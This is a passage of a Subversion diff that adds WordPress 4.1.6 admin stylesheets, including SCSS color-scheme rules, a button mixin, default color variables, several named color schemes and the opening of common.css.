+	background: $menu-bubble-background;
+}
+
+#adminmenu li.current a .awaiting-mod,
+#adminmenu li a.wp-has-current-submenu .update-plugins,
+#adminmenu li:hover a .awaiting-mod,
+#adminmenu li.menu-top:hover > a .update-plugins {
+	color: $menu-bubble-current-text;
+	background: $menu-bubble-current-background;
+}
+
+
+/* Admin Menu: collapse button */
+
+#collapse-menu {
+    color: $menu-collapse-text;
+}
+
+#collapse-menu:hover {
+    color: $menu-collapse-focus-text;
+}
+
+#collapse-button div:after {
+    color: $menu-collapse-icon;
+}
+
+#collapse-menu:hover #collapse-button div:after {
+    color: $menu-collapse-focus-icon;
+}
+
+
+/* Admin Bar */
+
+#wpadminbar {
+	color: $menu-text;
+	background: $menu-background;
+}
+
+#wpadminbar .ab-item,
+#wpadminbar a.ab-item,
+#wpadminbar > #wp-toolbar span.ab-label,
+#wpadminbar > #wp-toolbar span.noticon {
+	color: $menu-text;
+}
+
+#wpadminbar .ab-icon,
+#wpadminbar .ab-icon:before,
+#wpadminbar .ab-item:before,
+#wpadminbar .ab-item:after {
+	color: $menu-icon;
+}
+
+#wpadminbar .ab-top-menu > li:hover > .ab-item,
+#wpadminbar .ab-top-menu > li.hover > .ab-item,
+#wpadminbar .ab-top-menu > li > .ab-item:focus,
+#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
+#wpadminbar-nojs .ab-top-menu > li.menupop:hover > .ab-item,
+#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
+	color: $menu-submenu-focus-text;
+	background: $menu-submenu-background;
+}
+
+#wpadminbar > #wp-toolbar li:hover span.ab-label,
+#wpadminbar > #wp-toolbar li.hover span.ab-label,
+#wpadminbar > #wp-toolbar a:focus span.ab-label {
+	color: $menu-submenu-focus-text;
+}
+
+#wpadminbar li:hover .ab-icon:before,
+#wpadminbar li:hover .ab-item:before,
+#wpadminbar li:hover .ab-item:after,
+#wpadminbar li:hover #adminbarsearch:before {
+	color: $menu-highlight-icon;
+}
+
+
+/* Admin Bar: submenu */
+
+#wpadminbar .menupop .ab-sub-wrapper {
+	background: $menu-submenu-background;
+}
+
+#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
+#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
+	background: $menu-submenu-background-alt;
+}
+
+#wpadminbar .ab-submenu .ab-item,
+#wpadminbar .quicklinks .menupop ul li a,
+#wpadminbar .quicklinks .menupop.hover ul li a,
+#wpadminbar-nojs .quicklinks .menupop:hover ul li a {
+	color: $menu-submenu-text;
+}
+
+#wpadminbar .quicklinks li .blavatar,
+#wpadminbar .menupop .menupop > .ab-item:before {
+	color: $menu-icon;
+}
+
+#wpadminbar .quicklinks .menupop ul li a:hover,
+#wpadminbar .quicklinks .menupop ul li a:focus,
+#wpadminbar .quicklinks .menupop ul li a:hover strong,
+#wpadminbar .quicklinks .menupop ul li a:focus strong,
+#wpadminbar .quicklinks .menupop.hover ul li a:hover,
+#wpadminbar .quicklinks .menupop.hover ul li a:focus,
+#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
+#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
+#wpadminbar li:hover .ab-icon:before,
+#wpadminbar li:hover .ab-item:before,
+#wpadminbar li a:focus .ab-icon:before,
+#wpadminbar li .ab-item:focus:before,
+#wpadminbar li.hover .ab-icon:before,
+#wpadminbar li.hover .ab-item:before,
+#wpadminbar li:hover .ab-item:after,
+#wpadminbar li.hover .ab-item:after,
+#wpadminbar li:hover #adminbarsearch:before {
+	color: $menu-submenu-focus-text;
+}
+
+#wpadminbar .quicklinks li a:hover .blavatar,
+#wpadminbar .menupop .menupop > .ab-item:hover:before {
+	color: $menu-submenu-focus-text;
+}
+
+
+/* Admin Bar: search */
+
+#wpadminbar #adminbarsearch:before {
+	color: $menu-icon;
+}
+
+#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
+	color: $menu-text;
+	background: $adminbar-input-background;
+}
+
+#wpadminbar #adminbarsearch .adminbar-input::-webkit-input-placeholder { color: $menu-text; opacity: .7; }
+#wpadminbar #adminbarsearch .adminbar-input:-moz-placeholder { color: $menu-text; opacity: .7; }
+#wpadminbar #adminbarsearch .adminbar-input::-moz-placeholder { color: $menu-text; opacity: .7; }
+#wpadminbar #adminbarsearch .adminbar-input:-ms-input-placeholder { color: $menu-text; opacity: .7; }
+
+
+/* Admin Bar: my account */
+
+#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
+	border-color: $adminbar-avatar-frame;
+	background-color: $adminbar-avatar-frame;
+}
+
+#wpadminbar #wp-admin-bar-user-info .display-name {
+	color: $menu-text;
+}
+
+#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
+	color: $menu-submenu-focus-text;
+}
+
+#wpadminbar #wp-admin-bar-user-info .username {
+	color: $menu-submenu-text;
+}
+
+
+/* Pointers */
+
+.wp-pointer .wp-pointer-content h3 {
+	background-color: $highlight-color;
+	border-color: darken( $highlight-color, 5% );
+}
+
+.wp-pointer .wp-pointer-content h3:before {
+	color: $highlight-color;
+}
+
+.wp-pointer.wp-pointer-top .wp-pointer-arrow,
+.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
+.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
+.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
+	border-bottom-color: $highlight-color;
+}
+
+
+/* Media */
+
+.media-item .bar,
+.media-progress-bar div {
+	background-color: $highlight-color;
+}
+
+.details.attachment {
+	box-shadow:
+		inset 0 0 0 3px #fff,
+		inset 0 0 0 7px $highlight-color;
+}
+
+.attachment.details .check {
+	background-color: $highlight-color;
+	box-shadow: 0 0 0 1px #fff, 0 0 0 2px $highlight-color;
+}
+
+.media-selection .attachment.selection.details .thumbnail {
+	-webkit-box-shadow:
+		0px 0px 0px 1px #fff,
+		0px 0px 0px 3px $highlight-color;
+	box-shadow:
+		0px 0px 0px 1px #fff,
+		0px 0px 0px 3px $highlight-color;
+}
+
+
+/* Themes */
+
+.theme-browser .theme.active .theme-name,
+.theme-browser .theme.add-new-theme:hover:after {
+	background: $highlight-color;
+}
+
+.theme-browser .theme.add-new-theme:hover span:after {
+	color: $highlight-color;
+}
+
+.theme-section.current,
+.theme-filter.current {
+	border-bottom-color: $menu-background;
+}
+
+body.more-filters-opened .more-filters {
+	color: $menu-text;
+	background-color: $menu-background;
+}
+
+body.more-filters-opened .more-filters:before {
+	color: $menu-text;
+}
+
+body.more-filters-opened .more-filters:hover,
+body.more-filters-opened .more-filters:focus {
+	background-color: $menu-highlight-background;
+	color: $menu-highlight-text;
+}
+
+body.more-filters-opened .more-filters:hover:before,
+body.more-filters-opened .more-filters:focus:before {
+	color: $menu-highlight-text;
+}
+
+/* Widgets */
+
+.widgets-chooser li.widgets-chooser-selected {
+	background-color: $menu-highlight-background;
+	color: $menu-highlight-text;
+}
+
+.widgets-chooser li.widgets-chooser-selected:before,
+.widgets-chooser li.widgets-chooser-selected:focus:before {
+	color: $menu-highlight-text;
+}
+
+/* Customize */
+
+#customize-theme-controls .widget-area-select .selected {
+	background-color: $menu-highlight-background;
+	color: $menu-highlight-text;
+}
+
+/* jQuery UI Slider */
+
+.wp-slider .ui-slider-handle,
+.wp-slider .ui-slider-handle.ui-state-hover,
+.wp-slider .ui-slider-handle.focus {
+	background: $button-color;
+	border-color: darken( $button-color, 10% );
+	box-shadow: inset 0 1px 0 lighten( $button-color, 15% ), 0 1px 0 rgba(0,0,0,.15);
+}
+
+/* Thickbox: Plugin information */
+
+#sidemenu a.current {
+	background: $body-background;
+	border-bottom-color: $body-background;
+}
+
+#plugin-information .action-button {
+	background: $button-color;
+}
+
+/* Responsive Component */
+
+div#wp-responsive-toggle a:before {
+	color: $menu-icon;
+}
+
+.wp-responsive-open div#wp-responsive-toggle a {
+	// ToDo: make inset border
+	border-color: transparent;
+	background: $menu-highlight-background;
+}
+
+.star-rating .star {
+	color: $highlight-color;
+}
+
+.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
+	background: $menu-submenu-background;
+}
Index: /tags/4.1.6/src/wp-admin/css/colors/_mixins.scss
===================================================================
--- /tags/4.1.6/src/wp-admin/css/colors/_mixins.scss	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/colors/_mixins.scss	(revision 33402)
@@ -0,0 +1,43 @@
+/*
+ * Button mixin- creates 3d-ish button effect with correct
+ * highlights/shadows, based on a base color.
+ */
+@mixin button( $button-color, $text-color: white ) {
+	background: $button-color;
+	border-color: darken( $button-color, 10% );
+	color: $text-color;
+	box-shadow: inset 0 1px 0 lighten( $button-color, 15% ), 0 1px 0 rgba(0,0,0,.15);
+
+	&:hover,
+	&:focus {
+		background: darken( $button-color, 5% );
+		border-color: darken( $button-color, 15% );
+		color: $text-color;
+		box-shadow: inset 0 1px 0 lighten( $button-color, 10% );
+	}
+
+	&:focus {
+		box-shadow: inset 0 1px 0 lighten( $button-color, 10% ),
+		            0 0 0 1px #5b9dd9,
+		            0 0 2px 1px rgba( 30, 140, 190, .8 );
+	}
+
+	&:active {
+		background: darken( $button-color, 10% );
+		border-color: darken( $button-color, 15% );
+		color: $text-color;
+	 	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ),
+		            0 0 0 1px #5b9dd9,
+		            0 0 2px 1px rgba( 30, 140, 190, .8 );
+	}
+
+	&[disabled],
+	&:disabled,
+	&.button-primary-disabled,
+	&.disabled {
+		color: hsl( hue( $button-color ), 10%, 80% ) !important;
+		background: darken( $button-color, 8% ) !important;
+		border-color: darken( $button-color, 15% ) !important;
+		text-shadow: none !important;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/colors/_variables.scss
===================================================================
--- /tags/4.1.6/src/wp-admin/css/colors/_variables.scss	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/colors/_variables.scss	(revision 33402)
@@ -0,0 +1,58 @@
+// assign default value to all undefined variables
+
+
+// core variables
+
+$text-color: #fff !default;
+$base-color: #222 !default;
+$icon-color: hsl( hue( $base-color ), 7%, 95% ) !default;
+$highlight-color: #0074a2 !default;
+$notification-color: #d54e21 !default;
+
+
+// global
+
+$body-background: #f1f1f1 !default;
+
+$link: #0074a2 !default;
+$link-focus: lighten( $link, 10% ) !default;
+
+$button-color: $highlight-color !default;
+$form-checked: $highlight-color !default;
+
+
+// admin menu & admin-bar
+
+$menu-text: $text-color !default;
+$menu-icon: $icon-color !default;
+$menu-background: $base-color !default;
+
+$menu-highlight-text: $text-color !default;
+$menu-highlight-icon: $text-color !default;
+$menu-highlight-background: $highlight-color !default;
+
+$menu-current-text: $menu-highlight-text !default;
+$menu-current-icon: $menu-highlight-icon !default;
+$menu-current-background: $menu-highlight-background !default;
+
+$menu-submenu-text: mix( $base-color, $text-color, 30% ) !default;
+$menu-submenu-background: darken( $base-color, 7% ) !default;
+$menu-submenu-background-alt: desaturate( lighten( $menu-background, 7% ), 7% ) !default;
+
+$menu-submenu-focus-text: $highlight-color !default;
+$menu-submenu-current-text: $text-color !default;
+
+$menu-bubble-text: $text-color !default;
+$menu-bubble-background: $notification-color !default;
+$menu-bubble-current-text: $text-color !default;
+$menu-bubble-current-background: $menu-submenu-background !default;
+
+$menu-collapse-text: $menu-icon !default;
+$menu-collapse-icon: $menu-icon !default;
+$menu-collapse-focus-text: $text-color !default;
+$menu-collapse-focus-icon: $menu-highlight-icon !default;
+
+$adminbar-avatar-frame: lighten( $menu-background, 7% ) !default;
+$adminbar-input-background: lighten( $menu-background, 7% ) !default;
+
+$menu-customizer-text: mix( $base-color, $text-color, 40% ) !default;
Index: /tags/4.1.6/src/wp-admin/css/colors/blue/colors.scss
===================================================================
--- /tags/4.1.6/src/wp-admin/css/colors/blue/colors.scss	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/colors/blue/colors.scss	(revision 33402)
@@ -0,0 +1,11 @@
+$base-color: #52accc;
+$icon-color: #e5f8ff;
+$highlight-color: #096484;
+$notification-color: #e1a948;
+$button-color: #e1a948;
+
+$menu-submenu-text: #e2ecf1;
+$menu-submenu-focus-text: #fff;
+$menu-submenu-background: #4796b3;
+
+@import "../_admin.scss";
Index: /tags/4.1.6/src/wp-admin/css/colors/coffee/colors.scss
===================================================================
--- /tags/4.1.6/src/wp-admin/css/colors/coffee/colors.scss	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/colors/coffee/colors.scss	(revision 33402)
@@ -0,0 +1,7 @@
+$base-color: #59524c;
+$highlight-color: #c7a589;
+$notification-color: #9ea476;
+
+$form-checked: $base-color;
+
+@import "../_admin.scss";
Index: /tags/4.1.6/src/wp-admin/css/colors/ectoplasm/colors.scss
===================================================================
--- /tags/4.1.6/src/wp-admin/css/colors/ectoplasm/colors.scss	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/colors/ectoplasm/colors.scss	(revision 33402)
@@ -0,0 +1,8 @@
+$base-color: #523f6d;
+$icon-color: #ece6f6;
+$highlight-color: #a3b745;
+$notification-color: #d46f15;
+
+$form-checked: $base-color;
+
+@import "../_admin.scss";
Index: /tags/4.1.6/src/wp-admin/css/colors/light/colors.scss
===================================================================
--- /tags/4.1.6/src/wp-admin/css/colors/light/colors.scss	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/colors/light/colors.scss	(revision 33402)
@@ -0,0 +1,38 @@
+$base-color: #e5e5e5;
+$icon-color: #999;
+$text-color: #333;
+$highlight-color: #04a4cc;
+$notification-color: #d64e07;
+
+$body-background: #f5f5f5;
+
+$menu-highlight-text: #fff;
+$menu-highlight-icon: #ccc;
+$menu-highlight-background: #888;
+
+$menu-bubble-text: #fff;
+$menu-avatar-frame: #aaa;
+$menu-submenu-background: #fff;
+
+$menu-collapse-text: #777;
+$menu-collapse-focus-icon: #555;
+
+@import "../_admin.scss";
+
+/* temporary fix for admin-bar hover color */
+#wpadminbar .ab-top-menu > li:hover > .ab-item,
+#wpadminbar .ab-top-menu > li.hover > .ab-item,
+#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default li:hover span.ab-label,
+#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary li.hover span.ab-label,
+#wpadminbar .ab-top-menu > li > .ab-item:focus,
+#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
+#wpadminbar-nojs .ab-top-menu > li.menupop:hover > .ab-item,
+#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
+	color: $text-color;
+}
+
+/* Override the theme filter highlight color for this scheme */
+.theme-section.current,
+.theme-filter.current {
+	border-bottom-color: $highlight-color;
+}
Index: /tags/4.1.6/src/wp-admin/css/colors/midnight/colors.scss
===================================================================
--- /tags/4.1.6/src/wp-admin/css/colors/midnight/colors.scss	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/colors/midnight/colors.scss	(revision 33402)
@@ -0,0 +1,5 @@
+$base-color: #363b3f;
+$highlight-color: #e14d43;
+$notification-color: #69a8bb;
+
+@import "../_admin.scss";
Index: /tags/4.1.6/src/wp-admin/css/colors/ocean/colors.scss
===================================================================
--- /tags/4.1.6/src/wp-admin/css/colors/ocean/colors.scss	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/colors/ocean/colors.scss	(revision 33402)
@@ -0,0 +1,8 @@
+$base-color: #738e96;
+$icon-color: #f2fcff;
+$highlight-color: #9ebaa0;
+$notification-color: #aa9d88;
+
+$form-checked: $base-color;
+
+@import "../_admin.scss";
Index: /tags/4.1.6/src/wp-admin/css/colors/sunrise/colors.scss
===================================================================
--- /tags/4.1.6/src/wp-admin/css/colors/sunrise/colors.scss	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/colors/sunrise/colors.scss	(revision 33402)
@@ -0,0 +1,6 @@
+$base-color: #cf4944;
+$highlight-color: #dd823b;
+$notification-color: #ccaf0b;
+$menu-submenu-focus-text: lighten( $highlight-color, 35% );
+
+@import "../_admin.scss";
Index: /tags/4.1.6/src/wp-admin/css/common.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/common.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/common.css	(revision 33402)
@@ -0,0 +1,3255 @@
+/* 2 column liquid layout */
+#wpwrap {
+	height: auto;
+	min-height: 100%;
+	width: 100%;
+	position: relative;
+	-webkit-font-smoothing: subpixel-antialiased;
+}
+
+#wpcontent {
+	height: 100%;
+	padding-left: 20px;
+}
+
+#wpcontent,
+#wpfooter {
+	margin-left: 160px;
+}
+
+.folded #wpcontent,
+.folded #wpfooter {
+	margin-left: 36px;
+}
+
+#wpbody-content {
+	padding-bottom: 65px;
+	float: left;
+	width: 100%;
+	overflow: visible !important;
+}
+
+/* inner 2 column liquid layout */
+
+.inner-sidebar {
+	float: right;
+	clear: right;
+	display: none;
+	width: 281px;
+	position: relative;
+}
+
+.columns-2 .inner-sidebar {
+	margin-right: auto;
+	width: 286px;
+	display: block;
+}
+
+.inner-sidebar #side-sortables,
+.columns-2 .inner-sidebar #side-sortables {
+	min-height: 300px;
+	width: 280px;
+	padding: 0;
+}
+
+.has-right-sidebar .inner-sidebar {
+	display: block;
+}
+
+.has-right-sidebar #post-body {
+	float: left;
+	clear: left;
+	width: 100%;
+	margin-right: -2000px;
+}
+
+.has-right-sidebar #post-body-content {
+	margin-right: 300px;
+	float: none;
+	width: auto;
+}
+
+/* 2 columns main area */
+
+#col-container,
+#col-left,
+#col-right {
+	overflow: hidden;
+	padding: 0;
+	margin: 0;
+}
+
+#col-left {
+	width: 35%;
+}
+
+#col-right {
+	float: right;
+	clear: right;
+	width: 65%;
+}
+
+.col-wrap {
+	padding: 0 7px;
+}
+
+/* utility classes */
+.alignleft {
+	float: left;
+}
+
+.alignright {
+	float: right;
+}
+
+.textleft {
+	text-align: left;
+}
+
+.textright {
+	text-align: right;
+}
+
+.clear {
+	clear: both;
+}
+
+/* Hide visually but not from screen readers */
+.screen-reader-text,
+.screen-reader-text span,
+.ui-helper-hidden-accessible {
+	position: absolute;
+	margin: -1px;
+	padding: 0;
+	height: 1px;
+	width: 1px;
+	overflow: hidden;
+	clip: rect(0 0 0 0);
+	border: 0;
+}
+
+.screen-reader-shortcut {
+	position: absolute;
+	top: -1000em;
+}
+
+.screen-reader-shortcut:focus {
+	left: 6px;
+	top: -25px;
+	height: auto;
+	width: auto;
+	display: block;
+	font-size: 14px;
+	font-weight: 600;
+	padding: 15px 23px 14px;
+	background: #f1f1f1;
+	color: #21759b;
+	z-index: 100000;
+	line-height: normal;
+	-webkit-box-shadow: 0 0 2px 2px rgba(0,0,0,.6);
+	box-shadow: 0 0 2px 2px rgba(0,0,0,.6);
+	text-decoration: none;
+	outline: none;
+}
+
+.hidden,
+.js .closed .inside,
+.js .hide-if-js,
+.no-js .hide-if-no-js,
+.js.wp-core-ui .hide-if-js,
+.js .wp-core-ui .hide-if-js,
+.no-js.wp-core-ui .hide-if-no-js,
+.no-js .wp-core-ui .hide-if-no-js {
+	display: none;
+}
+
+/* @todo: Take a second look. Large chunks of shared color, from the colors.css merge */
+.widget-top,
+.menu-item-handle,
+.widget-inside,
+#menu-settings-column .accordion-container,
+#menu-management .menu-edit,
+.manage-menus,
+table.widefat,
+.stuffbox,
+p.popular-tags,
+.widgets-holder-wrap,
+.wp-editor-container,
+.popular-tags,
+.feature-filter,
+.imgedit-group {
+	border: 1px solid #e5e5e5;
+	-webkit-box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+}
+
+table.widefat,
+.wp-editor-container,
+.stuffbox,
+p.popular-tags,
+.widgets-holder-wrap,
+.popular-tags,
+.feature-filter,
+.imgedit-group {
+	background: #fff;
+}
+
+/* general */
+html,
+body {
+	height: 100%;
+	margin: 0;
+	padding: 0;
+}
+
+html {
+	background: #f1f1f1;
+}
+
+body {
+	color: #444;
+	font-family: "Open Sans", sans-serif;
+	font-size: 13px;
+	line-height: 1.4em;
+	min-width: 600px;
+}
+
+body.iframe {
+	min-width: 0;
+	padding-top: 1px;
+}
+
+body.modal-open {
+	overflow: hidden;
+}
+
+body.mobile.modal-open #wpwrap {
+	overflow: hidden;
+	height: 100%;
+}
+
+iframe,
+img {
+	border: 0;
+}
+
+td {
+	font-family: inherit;
+	font-size: inherit;
+	font-weight: inherit;
+	line-height: inherit;
+}
+
+a {
+	color: #0074a2;
+	-webkit-transition-property: border, background, color;
+	transition-property: border, background, color;
+	-webkit-transition-duration: .05s;
+	transition-duration: .05s;
+	-webkit-transition-timing-function: ease-in-out;
+	transition-timing-function: ease-in-out;
+}
+
+a,
+div {
+	outline: 0;
+}
+
+a:hover,
+a:active {
+	color: #2ea2cc;
+}
+
+a:focus {
+	color: #124964;
+    -webkit-box-shadow:
+    	0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+    box-shadow:
+    	0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.ie8 a:focus {
+	outline: #5b9dd9 solid 1px;
+}
+
+#adminmenu a:focus,
+.screen-reader-text:focus {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	outline: none;
+}
+
+blockquote,
+q {
+	quotes: none;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: '';
+	content: none;
+}
+
+p {
+	font-size: 13px;
+	line-height: 1.5;
+	margin: 1em 0;
+}
+
+blockquote {
+	margin: 1em;
+}
+
+li,
+dd {
+	margin-bottom: 6px;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	display: block;
+	font-weight: 600;
+}
+
+h1 {
+	font-size: 2em;
+	margin: .67em 0;
+}
+
+h2 {
+	color: #222;
+	font-size: 1.5em;
+	margin: .83em 0;
+	font-weight: 400;
+}
+
+h3 {
+	color: #222;
+	font-size: 1.3em;
+	margin: 1em 0;
+}
+
+h4 {
+	font-size: 1em;
+	margin: 1.33em 0;
+}
+
+h5 {
+	font-size: 0.83em;
+	margin: 1.67em 0;
+}
+
+h6 {
+	font-size: 0.67em;
+	margin: 2.33em 0;
+}
+
+ul,
+ol {
+	padding: 0;
+}
+
+ul {
+	list-style: none;
+}
+
+ol {
+	list-style-type: decimal;
+	margin-left: 2em;
+}
+
+ul.ul-disc {
+	list-style: disc outside;
+}
+
+ul.ul-square {
+	list-style: square outside;
+}
+
+ol.ol-decimal {
+	list-style: decimal outside;
+}
+
+ul.ul-disc,
+ul.ul-square,
+ol.ol-decimal {
+	margin-left: 1.8em;
+}
+
+ul.ul-disc > li,
+ul.ul-square > li,
+ol.ol-decimal > li {
+	margin: 0 0 0.5em;
+}
+
+/* @noflip */
+.ltr {
+	direction: ltr;
+}
+
+/* @noflip */
+.code,
+code {
+	font-family: Consolas, Monaco, monospace;
+	direction: ltr;
+	unicode-bidi: embed;
+}
+
+kbd,
+code {
+	padding: 3px 5px 2px 5px;
+	margin: 0 1px;
+	background: #eaeaea;
+	background: rgba(0,0,0,0.07);
+	font-size: 13px;
+}
+
+.subsubsub {
+	list-style: none;
+	margin: 8px 0 0;
+	padding: 0;
+	font-size: 13px;
+	float: left;
+	color: #666;
+}
+
+.subsubsub a {
+	line-height: 2;
+	padding: .2em;
+	text-decoration: none;
+}
+
+.subsubsub a .count,
+.subsubsub a.current .count {
+	color: #999;
+	font-weight: normal;
+}
+
+.subsubsub a.current {
+	font-weight: 600;
+	border: none;
+}
+
+.subsubsub li {
+	display: inline-block;
+	margin: 0;
+	padding: 0;
+	white-space: nowrap;
+}
+
+/* .widefat - main style for tables */
+.widefat {
+	border-spacing: 0;
+	width: 100%;
+	clear: both;
+	margin: 0;
+}
+
+.widefat * {
+	word-wrap: break-word;
+}
+
+.widefat a {
+	text-decoration: none;
+}
+
+.widefat td,
+.widefat th {
+	padding: 8px 10px;
+}
+
+.widefat thead th {
+	border-bottom: 1px solid #e1e1e1;
+}
+
+.widefat tfoot th {
+	border-top: 1px solid #e1e1e1;
+	border-bottom: none;
+}
+
+.widefat .no-items td {
+	border-bottom-width: 0;
+}
+
+.widefat td {
+	vertical-align: top;
+}
+
+.widefat td,
+.widefat td p,
+.widefat td ol,
+.widefat td ul {
+	font-size: 13px;
+	line-height: 1.5em;
+}
+
+.widefat th {
+	text-align: left;
+	line-height: 1.3em;
+	font-size: 14px;
+}
+
+.widefat th input {
+	margin: 0 0 0 8px;
+	padding: 0;
+	vertical-align: text-top;
+}
+
+.widefat .check-column {
+	width: 2.2em;
+	padding: 6px 0 25px;
+	vertical-align: top;
+}
+
+.widefat th input[type=checkbox] {
+	margin-top: -1px;
+}
+
+.widefat tbody th.check-column {
+	padding: 9px 0 22px;
+}
+
+.widefat.media .check-column {
+	padding-top: 8px;
+}
+
+.widefat thead th.check-column,
+.widefat tbody th.check-column,
+.widefat tfoot th.check-column {
+	padding: 11px 0 0 3px;
+}
+
+.widefat thead th.check-column {
+	padding-top: 10px;
+}
+
+.update-php div.updated,
+.update-php div.error {
+	margin-left: 0;
+}
+
+.no-js .widefat thead .check-column input,
+.no-js .widefat tfoot .check-column input {
+	display: none;
+}
+
+.widefat .num,
+.column-comments,
+.column-links,
+.column-posts {
+	text-align: center;
+}
+
+.widefat th#comments {
+	vertical-align: middle;
+}
+
+.wrap {
+	margin: 10px 20px 0 2px;
+}
+
+.attention {
+	color: #2ea2cc;
+}
+
+.wrap h2,
+.subtitle {
+	font-weight: normal;
+	margin: 0;
+}
+
+.wrap h2 {
+	font-size: 23px;
+	font-weight: 400;
+	padding: 9px 15px 4px 0;
+	line-height: 29px;
+}
+
+.subtitle {
+	color: #777;
+	font-size: 14px;
+	padding-left: 25px;
+}
+
+.wrap .add-new-h2,
+.wrap .add-new-h2:active {
+	margin-left: 4px;
+	padding: 4px 8px;
+	position: relative;
+	top: -3px;
+	text-decoration: none;
+	border: none;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+	background: #e0e0e0;
+	text-shadow: none;
+	font-weight: 600;
+	font-size: 13px;
+}
+
+.wrap .add-new-h2:hover {
+	background: #2ea2cc;
+	color: #fff;
+}
+
+.wrap h2.long-header {
+	padding-right: 0;
+}
+
+.wp-dialog {
+	background-color: #fff;
+}
+
+.widgets-chooser ul,
+#widgets-left .widget-in-question .widget-top,
+#available-widgets .widget-top:hover,
+div#widgets-right .widget-top:hover,
+#widgets-left .widget-top:hover {
+	border-color: #999;
+	-webkit-box-shadow: 0 1px 2px rgba(0,0,0,0.1);
+	box-shadow: 0 1px 2px rgba(0,0,0,0.1);
+}
+
+.sorthelper {
+	background-color: #ccf3fa;
+}
+
+.ac_match,
+.subsubsub a.current {
+	color: #000;
+}
+
+.alternate,
+.alt {
+	background-color: #f9f9f9;
+}
+
+.bar {
+	background-color: #e8e8e8;
+	border-right-color: #99d;
+}
+
+.media-upload-form label.form-help,
+td.help {
+	color: #9a9a9a;
+}
+
+/* Helper classes for plugins to leverage the active WordPress color scheme */
+
+.highlight {
+	background-color: #e4f2fd;
+	color: #000;
+}
+
+.wp-ui-primary {
+	color: #fff;
+	background-color: #333;
+}
+.wp-ui-text-primary {
+	color: #333;
+}
+
+.wp-ui-highlight {
+	color: white;
+	background-color: #1e8cbe;
+}
+.wp-ui-text-highlight {
+	color: #1e8cbe;
+}
+
+.wp-ui-notification {
+	color: #fff;
+	background-color: #d54e21;
+}
+.wp-ui-text-notification {
+	color: #d54e21;
+}
+
+.wp-ui-text-icon {
+	color: #999;
+}
+
+/*------------------------------------------------------------------------------
+  1.0 - Text Styles
+------------------------------------------------------------------------------*/
+
+.widget .widget-top,
+.postbox .hndle,
+.stuffbox .hndle,
+.control-section .accordion-section-title,
+.sidebar-name,
+#nav-menu-header,
+#nav-menu-footer,
+.menu-item-handle,
+.checkbox,
+.side-info,
+#your-profile #rich_editing,
+.widefat thead th,
+.widefat tfoot th {
+	line-height: 1.4em;
+}
+
+.widget .widget-top,
+.menu-item-handle {
+	background: #fafafa;
+	color: #222;
+}
+
+.postbox .hndle,
+.stuffbox .hndle {
+	border-bottom: 1px solid #eee;
+}
+
+.quicktags,
+.search {
+	background-color: #ccc;
+	color: #000;
+	font-size: 12px;
+}
+
+.icon32 {
+	display: none;
+}
+
+/* @todo can we combine these into a class or use an existing dashicon one? */
+#welcome-panel.welcome-panel .welcome-panel-close:before,
+.tagchecklist span a:before,
+#bulk-titles div a:before {
+	background: none;
+	color: #bbb;
+	content: '\f153';
+	display: block !important;
+	font: normal 16px/1 'dashicons';
+	speak: none;
+	height: 20px;
+	text-align: center;
+	width: 20px;
+	-webkit-font-smoothing: antialiased !important;
+}
+
+#welcome-panel.welcome-panel .welcome-panel-close:before {
+	margin: 0;
+}
+
+.tagchecklist span a:before,
+#bulk-titles div a:before {
+	margin: 2px 0;
+}
+
+#welcome-panel.welcome-panel .welcome-panel-close:hover:before,
+.tagchecklist span a:hover:before,
+#bulk-titles div a:hover:before {
+	color: #c00;
+}
+
+.key-labels label {
+	line-height: 24px;
+}
+
+strong, b {
+	font-weight: 600;
+}
+
+.pre {
+	/* https://developer.mozilla.org/en-US/docs/CSS/white-space */
+	white-space: pre-wrap; /* css-3 */
+	word-wrap: break-word; /* IE 5.5 - 7 */
+}
+
+.howto {
+	color: #666;
+	font-style: italic;
+	display: block;
+}
+
+p.install-help {
+	margin: 8px 0;
+	font-style: italic;
+}
+
+.no-break {
+	white-space: nowrap;
+}
+
+hr {
+	border: 0;
+	border-top: 1px solid #ddd;
+	border-bottom: 1px solid #fafafa;
+}
+
+.row-actions span.delete a,
+.row-actions span.trash a,
+.row-actions span.spam a,
+.plugins a.delete,
+#all-plugins-table .plugins a.delete,
+#search-plugins-table .plugins a.delete,
